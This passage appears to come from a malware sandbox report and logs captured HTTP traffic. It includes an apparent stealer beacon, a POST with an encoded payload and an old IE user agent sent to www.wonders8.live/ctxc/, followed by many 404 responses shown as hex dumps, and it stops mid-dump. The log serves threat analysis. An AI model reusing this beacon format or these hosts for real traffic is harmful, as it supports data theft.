HTTP traffic detected: POST /ctxc/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USAccept-Encoding: gzip, deflate, brHost: www.wonders8.liveOrigin: http://www.wonders8.liveConnection: closeContent-Length: 210Cache-Control: no-cacheContent-Type: application/x-www-form-urlencodedReferer: http://www.wonders8.live/ctxc/User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)Data Raw: 65 6a 36 4c 65 3d 2b 66 4c 51 79 64 6f 69 34 43 78 57 71 41 79 73 49 5a 4e 44 62 79 61 6d 75 59 71 38 42 56 31 63 58 45 6f 57 49 62 77 75 62 74 32 44 30 74 34 39 53 31 6b 52 35 63 68 73 38 38 59 44 68 6c 51 65 50 6b 43 54 31 30 7a 54 54 56 51 78 6b 31 68 46 79 64 52 79 78 43 4c 36 6e 4e 44 74 6d 6a 66 48 63 6c 47 79 49 52 70 75 43 45 39 31 57 65 58 47 6d 53 4d 61 71 51 76 38 35 6b 68 47 49 56 65 34 39 4b 64 77 4d 78 31 73 42 61 33 67 74 6f 73 73 45 47 2b 54 2f 7a 5a 36 54 41 73 5a 52 66 62 66 53 51 46 6e 54 42 47 50 35 78 34 6f 6a 4b 4d 49 67 4b 55 32 67 37 6a 7a 66 39 72 39 39 2b 6d 44 37 38 4c 50 38 77 77 38 59 4e 53 63 Data Ascii: ej6Le=+fLQydoi4CxWqAysIZNDbyamuYq8BV1cXEoWIbwubt2D0t49S1kR5chs88YDhlQePkCT10zTTVQxk1hFydRyxCL6nNDtmjfHclGyIRpuCE91WeXGmSMaqQv85khGIVe49KdwMx1sBa3gtossEG+T/zZ6TAsZRfbfSQFnTBGP5x4ojKMIgKU2g7jzf9r99+mD78LP8ww8YNSc

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:33:47 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 358Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 5d 17 eb 38 6d 60 1f e1 77 ff e7 0b 63 0d 17 d5 47 02 00 00 Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:33:49 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 358Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 5d 17 eb 38 6d 60 1f e1 77 ff e7 0b 63 0d 17 d5 47 02 00 00 Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:33:52 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 358Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 5d 17 eb 38 6d 60 1f e1 77 ff e7 0b 63 0d 17 d5 47 02 00 00 Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:33:54 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Mon, 01 Mar 2021 15:47:38 GMTAccept-Ranges: bytesContent-Length: 583Vary: Accept-EncodingContent-Type: text/htmlData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 5f 73 6b 7a 5f 70 69 64 20 3d 20 22 39 50 4f 42 45 58 38 30 57 22 3b 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 64 6e 2e 6a 73 69 6e 69 74 2e 64 69 72 65 63 74 66 77 64 2e 63 6f 6d 2f 73 6b 2d 6a 73 70 61 72 6b 5f 69 6e 69 74 2e 70 68 70 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6c 6f 61 64 65 72 22 20 69 64 3d 22 73 6b 2d 6c 6f 61 64 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:34:00 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LL37YFXTRqAIbPLbXeOE%2FYraQGhB566vXWDUjHGuYJaxdaNdgUuFHNG27XbnLVWYWiOp0qb%2BLnC7wfYIXW2SDAIa7v9hfLKS2%2BIP3L8f4%2FNQbofDeS6lHXze%2Bbj2IkN8iEmETw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ced3c781af6438a-EWRContent-Encoding: gzipData Raw: 32 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 64 54 ed 8a db 3a 10 fd 1f e8 3b cc 7a 29 74 21 de c8 59 87 16 db 31 2d fd a0 17 4a ef 42 17 2e fd 29 5b e3 68 58 59 72 a5 89 93 b4 f4 dd 2f 72 92 fd 68 35 20 4b e3 33 a3 99 33 23 55 17 1f fe 7d 7f f7 fd f6 23 68 ee 4d 3d ab e2 07 02 1f 0c ae 13 8d b4 d1 5c 64 42 bc 4c e2 2f 94 aa 9e 55 3d b2 04 2b 7b 5c 27 23 e1 6e 70 9e 13 68 9d 65 b4 bc 4e 76 a4 58 af 15 8e d4 62 3a 6d e6 40 96 98 a4 49 43 2b 0d ae b3 39 04 ed c9 de a7 ec d2 8e 78 6d 5d 02 8b 7a 56 31 b1 c1 1a 72 91 c3 57 c7 f0 c9 6d ad 7a 31 ab 16 47 7d 35 05 55 bf ed 51 91 84 57 83 c7 0e 7d 48 5b 67 9c 4f 43 ab b1 c7 42 49 7f 7f f5 ab 71 ea f0 ab 91 ed fd c6 47 17 47 48 71 29 84 b8 a0 3e 86 2b 2d ff fe 5d 2d 8e 0e ab c5 29 af 68 76 ce fc 68 02 97 79 9e 97 d0 4b bf 21 5b 88 b2 73 96 0b b0 ce f7 d2 40 96 0f fb c5 52 0c 7b 78 e7 49 9a 39 7c 46 33 22 53 2b e7 10 a4 0d 69 40 4f 5d 09 4f 48 2c e1 af a8 e0 b2 eb ba 32 b2 ab 68 fc 83 77 b9 65 57 42 4f 36 7d e6 23 a9 21 8e a7 06 8c 7b 4e a5 a1 8d 2d a0 45 cb e8 4b 98 b8 2f de 08 31 ec cf 29 a4 06 3b 2e 20 cd 8f ca c1 05 62 72 b6 90 4d 70 66 cb 58 02 bb a1 80 9b 78 ca 04 5d 89 97 31 36 38 8d 4a 67 e7 13 1f 38 81 48 4a 1a e8 27 16 d9 6a 72 6b c8 e2 43 c4 47 d5 84 d9 1d 55 8d 33 aa 4c ea 5c e4 d5 42 67 b1 ad 96 cf 9d a6 31 88 48 6c f9 e8 1a 6e e2 3e a9 9f f5 85 5e d6 b3 6a a8 ef 34 82 c7 e0 b6 be 8d 8b 1f 5b 0c 8c 0a 5a b7 35 0a ac 63 68 10 ba 68 03 ce 02 6b 0a 10 d0 8f e8 2f aa c5 50 cf aa 85 a2 b1 3e cd 4f 28 3d 35 4d 27 a2 3c cb 72 39 ec cb 53 fa 53 85 06 a9 14 d9 4d 11 5b 21 86 09 e7 45 f9 40 b0 47 23 99 46 2c 5b 83 d2 17 8d 63 5d 3e d6 f4 c1 df 94 79 9a 89 6c d8 97 Data Ascii: 2d8dT:;z)t!Y1-JB.)[hXYr/rh5 K33#U}#hM=\dBL/U=+{\'#npheNvXb:m@IC+9xm]zV1rWmz1G}5UQW}H[gOCBIqGGHq)>+-]-)hvhyK![s@R{xI9\|F3"S+i@O]OH,2hweWBO6}#!{N-EK/1);. brMpfXx]168Jg8HJ'jrkCGU3L\Bg1Hln>^j4[Z5chhk/P>O(=5M'<r9SSM[!E@G#F,[c]>yl
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:34:03 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jdca9yCKIUd0ide0nZ31LWurKy8GwdMBWW1LfuqAS7NIm6v%2BfLYCgBqvOBsBSj%2BC8nIw5x8UAtAI%2FaiqCgiB4Jj8TNxjcn3gs8r8z%2BOqymherLgkh3E%2FFXuRLqule9%2Bk66CpOw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ced3c881df40fa5-EWRContent-Encoding: gzipData Raw: 32 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 64 54 ed 8a db 3a 10 fd 1f e8 3b cc 7a 29 74 21 de c8 59 87 16 db 31 2d fd a0 17 4a ef 42 17 2e fd 29 5b e3 68 58 59 72 a5 89 93 b4 f4 dd 2f 72 92 fd 68 35 20 4b e3 33 a3 99 33 23 55 17 1f fe 7d 7f f7 fd f6 23 68 ee 4d 3d ab e2 07 02 1f 0c ae 13 8d b4 d1 5c 64 42 bc 4c e2 2f 94 aa 9e 55 3d b2 04 2b 7b 5c 27 23 e1 6e 70 9e 13 68 9d 65 b4 bc 4e 76 a4 58 af 15 8e d4 62 3a 6d e6 40 96 98 a4 49 43 2b 0d ae b3 39 04 ed c9 de a7 ec d2 8e 78 6d 5d 02 8b 7a 56 31 b1 c1 1a 72 91 c3 57 c7 f0 c9 6d ad 7a 31 ab 16 47 7d 35 05 55 bf ed 51 91 84 57 83 c7 0e 7d 48 5b 67 9c 4f 43 ab b1 c7 42 49 7f 7f f5 ab 71 ea f0 ab 91 ed fd c6 47 17 47 48 71 29 84 b8 a0 3e 86 2b 2d ff fe 5d 2d 8e 0e ab c5 29 af 68 76 ce fc 68 02 97 79 9e 97 d0 4b bf 21 5b 88 b2 73 96 0b b0 ce f7 d2 40 96 0f fb c5 52 0c 7b 78 e7 49 9a 39 7c 46 33 22 53 2b e7 10 a4 0d 69 40 4f 5d 09 4f 48 2c e1 af a8 e0 b2 eb ba 32 b2 ab 68 fc 83 77 b9 65 57 42 4f 36 7d e6 23 a9 21 8e a7 06 8c 7b 4e a5 a1 8d 2d a0 45 cb e8 4b 98 b8 2f de 08 31 ec cf 29 a4 06 3b 2e 20 cd 8f ca c1 05 62 72 b6 90 4d 70 66 cb 58 02 bb a1 80 9b 78 ca 04 5d 89 97 31 36 38 8d 4a 67 e7 13 1f 38 81 48 4a 1a e8 27 16 d9 6a 72 6b c8 e2 43 c4 47 d5 84 d9 1d 55 8d 33 aa 4c ea 5c e4 d5 42 67 b1 ad 96 cf 9d a6 31 88 48 6c f9 e8 1a 6e e2 3e a9 9f f5 85 5e d6 b3 6a a8 ef 34 82 c7 e0 b6 be 8d 8b 1f 5b 0c 8c 0a 5a b7 35 0a ac 63 68 10 ba 68 03 ce 02 6b 0a 10 d0 8f e8 2f aa c5 50 cf aa 85 a2 b1 3e cd 4f 28 3d 35 4d 27 a2 3c cb 72 39 ec cb 53 fa 53 85 06 a9 14 d9 4d 11 5b 21 86 09 e7 45 f9 40 b0 47 23 99 46 2c 5b 83 d2 17 8d 63 5d 3e d6 f4 c1 df 94 79 9a 89 6c Data Ascii: 2d8dT:;z)t!Y1-JB.)[hXYr/rh5 K33#U}#hM=\dBL/U=+{\'#npheNvXb:m@IC+9xm]zV1rWmz1G}5UQW}H[gOCBIqGGHq)>+-]-)hvhyK![s@R{xI9\|F3"S+i@O]OH,2hweWBO6}#!{N-EK/1);. brMpfXx]168Jg8HJ'jrkCGU3L\Bg1Hln>^j4[Z5chhk/P>O(=5M'<r9SSM[!E@G#F,[c]>yl
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:34:05 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DlypyjFHiEkxP%2Bd7LkTEOG1O1ahbNnUfRqpTE%2F8oY2YD5rdrOwG22n82myIHMqH6%2BgiKJ9DcTzCK6DWaoZPrPeo%2FELQyrk8ZyEtk6Rlv%2BhUhG60qzttPcdtsJRWKZKsQa0Wg0Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ced3c97ff1141df-EWRContent-Encoding: gzipData Raw: 32 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 64 54 ed 8a db 3a 10 fd 1f e8 3b cc 7a 29 74 21 de c8 59 87 16 db 31 2d fd a0 17 4a ef 42 17 2e fd 29 5b e3 68 58 59 72 a5 89 93 b4 f4 dd 2f 72 92 fd 68 35 20 4b e3 33 a3 99 33 23 55 17 1f fe 7d 7f f7 fd f6 23 68 ee 4d 3d ab e2 07 02 1f 0c ae 13 8d b4 d1 5c 64 42 bc 4c e2 2f 94 aa 9e 55 3d b2 04 2b 7b 5c 27 23 e1 6e 70 9e 13 68 9d 65 b4 bc 4e 76 a4 58 af 15 8e d4 62 3a 6d e6 40 96 98 a4 49 43 2b 0d ae b3 39 04 ed c9 de a7 ec d2 8e 78 6d 5d 02 8b 7a 56 31 b1 c1 1a 72 91 c3 57 c7 f0 c9 6d ad 7a 31 ab 16 47 7d 35 05 55 bf ed 51 91 84 57 83 c7 0e 7d 48 5b 67 9c 4f 43 ab b1 c7 42 49 7f 7f f5 ab 71 ea f0 ab 91 ed fd c6 47 17 47 48 71 29 84 b8 a0 3e 86 2b 2d ff fe 5d 2d 8e 0e ab c5 29 af 68 76 ce fc 68 02 97 79 9e 97 d0 4b bf 21 5b 88 b2 73 96 0b b0 ce f7 d2 40 96 0f fb c5 52 0c 7b 78 e7 49 9a 39 7c 46 33 22 53 2b e7 10 a4 0d 69 40 4f 5d 09 4f 48 2c e1 af a8 e0 b2 eb ba 32 b2 ab 68 fc 83 77 b9 65 57 42 4f 36 7d e6 23 a9 21 8e a7 06 8c 7b 4e a5 a1 8d 2d a0 45 cb e8 4b 98 b8 2f de 08 31 ec cf 29 a4 06 3b 2e 20 cd 8f ca c1 05 62 72 b6 90 4d 70 66 cb 58 02 bb a1 80 9b 78 ca 04 5d 89 97 31 36 38 8d 4a 67 e7 13 1f 38 81 48 4a 1a e8 27 16 d9 6a 72 6b c8 e2 43 c4 47 d5 84 d9 1d 55 8d 33 aa 4c ea 5c e4 d5 42 67 b1 ad 96 cf 9d a6 31 88 48 6c f9 e8 1a 6e e2 3e a9 9f f5 85 5e d6 b3 6a a8 ef 34 82 c7 e0 b6 be 8d 8b 1f 5b 0c 8c 0a 5a b7 35 0a ac 63 68 10 ba 68 03 ce 02 6b 0a 10 d0 8f e8 2f aa c5 50 cf aa 85 a2 b1 3e cd 4f 28 3d 35 4d 27 a2 3c cb 72 39 ec cb 53 fa 53 85 06 a9 14 d9 4d 11 5b 21 86 09 e7 45 f9 40 b0 47 23 99 46 2c 5b 83 d2 17 8d 63 5d 3e d6 f4 c1 df 94 79 9a 89 6c d8 97 Data Ascii: 2d8dT:;z)t!Y1-JB.)[hXYr/rh5 K33#U}#hM=\dBL/U=+{\'#npheNvXb:m@IC+9xm]zV1rWmz1G}5UQW}H[gOCBIqGGHq)>+-]-)hvhyK![s@R{xI9\|F3"S+i@O]OH,2hweWBO6}#!{N-EK/1);. brMpfXx]168Jg8HJ'jrkCGU3L\Bg1Hln>^j4[Z5chhk/P>O(=5M'<r9SSM[!E@G#F,[c]>yl
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 10:34:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachex-turbo-charged-by: LiteSpeedcf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FQpy3yq3u3lgGcrRTufJL2fOEYn2ANFOb%2FgwsKv8PCDybak1Mlt79eFmPM7Nd%2BcdtCRHAGAX6FLCfT1S8uhVu3ZdUzmS95LjP%2F2KF%2F9902u0BqHHwDfBnUjsAoyoXaI7JH9fQA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Speculation-Rules: "/cdn-cgi/speculation"Server: cloudflareCF-RAY: 8ced3ca7eac88cc6-EWRData Raw: 34 65 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 Data Ascii: 4e3<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Mon, 07 Oct 2024 10:34:28 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 